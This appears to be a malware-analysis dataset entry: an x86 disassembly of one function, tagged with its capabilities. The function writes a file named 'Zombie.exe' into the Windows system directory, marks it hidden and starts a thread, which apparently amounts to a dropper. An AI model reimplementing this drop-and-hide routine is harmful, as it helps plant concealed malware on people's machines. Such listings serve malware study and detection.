Function at 0x401800
Capabilities:
Create thread
Delete file
Get common file path
Set file attributes

Disassembly:
push 0xffffffffffffffff
push 0x40239c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x114
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x20]
mov esi, ecx
push 0x104
push eax
mov dword [esp + 0x24], esi
xor ebp, ebp
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea ecx, [esp + 0x20]
push ecx
lea ecx, [esp + 0x14]
call fcn.004020d6
lea edx, [esp + 0x138]
lea ecx, [esp + 0x14]
push edx
mov dword [esp + 0x130], ebp
call fcn.004020d6
lea eax, [esp + 0x10]
push str.Zombie.exe
lea ecx, [esp + 0x1c]
push eax
push ecx
mov byte [esp + 0x138], 1
call sub.MFC42.DLL_operator_1
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x130], 2
call sub.MFC42.DLL_CString::operator
lea ecx, [esp + 0x18]
mov byte [esp + 0x12c], 1
call sub.MFC42.DLL_CString::CString
lea edx, [esp + 0x14]
lea eax, [esp + 0x18]
push edx
push 0x404050
push eax
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x130], 3
call sub.MFC42.DLL_CString::operator
lea ecx, [esp + 0x18]
mov byte [esp + 0x12c], 1
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x10]
push ecx
mov ecx, esi
call fcn.00401180
test eax, eax
je 0x4018f3
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
jmp 0x401a45
mov eax, dword [esp + 0x134]
mov edi, dword [sym.imp.MSVCRT.dll_fopen]
push 0x404030
push eax
call edi
mov esi, eax
add esp, 8
cmp esi, ebp
je 0x401a45
mov ecx, dword [esp + 0x10]
push 0x404044
push ecx
call edi
add esp, 8
mov edi, eax
cmp edi, ebp
push esi
jne 0x401939
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
jmp 0x401a45
mov ebx, dword [sym.imp.MSVCRT.dll_fgetc]
call ebx
add esp, 4
cmp eax, 0xffffffff
je 0x40196b
push edi
push eax
call dword [sym.imp.MSVCRT.dll_fputc]
mov eax, dword [esp + 0x178]
add esp, 8
inc ebp
cmp ebp, eax
je 0x40196b
push esi
call ebx
add esp, 4
cmp eax, 0xffffffff
jne 0x401949
push edi
mov edi, dword [sym.imp.MSVCRT.dll_fclose]
call edi
mov edx, dword [esp + 0x14]
add esp, 4
push 2
push edx
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
lea eax, [esp + 0x10]
push eax
push 0
push 0x4017a0
call dword [sym.imp.MSVCRT.dll__beginthread]
mov ecx, dword [esp + 0x20]
add esp, 0xc
push ecx
mov ecx, dword [esp + 0x20]
call fcn.00401180
test eax, eax
je 0x4019b6
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
mov eax, dword [esp + 0x14]
push 0x404044
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebp, eax
add esp, 8
test ebp, ebp
jne 0x4019d7
push esi
call edi
add esp, 4
jmp 0x401a45
mov ecx, dword [esp + 0x170]
xor edi, edi
add ecx, 0x38
push edi
push ecx
push esi
call dword [sym.imp.MSVCRT.dll_fseek]
push esi
call ebx
add esp, 0x10
cmp eax, 0xffffffff
je 0x401a19
push ebp
push eax
call dword [sym.imp.MSVCRT.dll_fputc]
mov eax, dword [esp + 0x170]
add esp, 8
inc edi
cmp edi, eax
je 0x401a19
push esi
call ebx
add esp, 4
cmp eax, 0xffffffff
jne 0x4019f7
mov edi, dword [sym.imp.MSVCRT.dll_fclose]
push ebp
call edi
push esi
call edi
mov edx, dword [esp + 0x1c]
add esp, 8
push 2
push edx
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x1c]
push 1
push eax
call fcn.00401b30
lea ecx, [esp + 0x14]
mov byte [esp + 0x12c], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
mov dword [esp + 0x12c], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x124]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x120
ret 0x44